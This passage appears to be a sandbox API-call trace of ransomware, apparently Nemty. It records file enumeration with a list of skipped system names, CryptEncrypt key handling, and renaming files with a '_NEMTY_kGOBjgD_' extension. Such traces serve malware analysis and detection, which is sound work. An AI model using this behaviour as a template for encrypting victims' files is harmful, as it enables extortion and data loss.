nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.649] CloseHandle (hObject=0xffffffff) returned 0 [0080.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0080.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0080.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.649] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png._nemty_kgobjgd_")) returned 0 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0080.649] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2=".") returned 1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="..") returned 1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="...") returned 1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="windows") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="rsa") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="NTDETECT.COM") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="ntldr") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="MSDOS.SYS") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="IO.SYS") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="boot.ini") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="boot.ini") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="AUTOEXEC.BAT") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="ntuser.dat") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="desktop.ini") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="CONFIG.SYS") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="RECYCLER") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="BOOTSECT.BAK") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="bootmgr") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="programdata") returned -1 [0080.650] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="appdata") returned -1 [0080.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0080.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 22 [0080.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0080.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0080.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 22 [0080.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0080.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0080.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 22 [0080.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0080.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="720x480icongraphic.png", lpUsedDefaultChar=0x0) returned 22 [0080.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0080.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0080.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0080.651] Sleep (dwMilliseconds=0x5) [0080.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3ba2ad0, dwHighDateTime=0x1d561e7)) [0080.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3ba2ad0, dwHighDateTime=0x1d561e7)) [0080.665] GetLastError () returned 0x5 [0080.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.666] GetLastError () returned 0x5 [0080.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0080.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0080.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0080.666] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0080.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0080.666] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="6UtTQXO9hwHdNZptksB8xeJcYGu6hhpdB9XEcXxOQuSU/D4aeKLwERt+Vu7cco/W\r\nIu2M/Evv3Riepl9KB9W76AEkBHYBHtGJ0ZiTktCPtYABzgxmKxN/4WtvGF92wr10\r\nSFl/4Oquw3eiOw1OYINZUYd741jDjihpmg9+rp3NyCQOIAs0EzMnOm/BZ2yXQvpW\r\nhqUNBpUDGNmd5ZnwsFoRfxDOgJXLfxcvl1Mu2ryV/e5xjQLARDJuH+7iCKGcoCOY\r\noGfHpYyUJpTTHIkpTNXejlC29Nzr9lvmQZiziCjCl/+TjS8XN0ICOuqrH7Aq6ogG\r\nUJ/esEqgQG06ke8V8o/yKg==\r\n", pcchString=0x653e91c) returned 1 [0080.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0080.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0080.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0080.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0080.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0080.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0080.666] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0080.667] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0080.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0080.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.676] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.686] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.686] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.686] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.695] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.705] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.705] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.705] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.715] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.724] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.724] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.752] 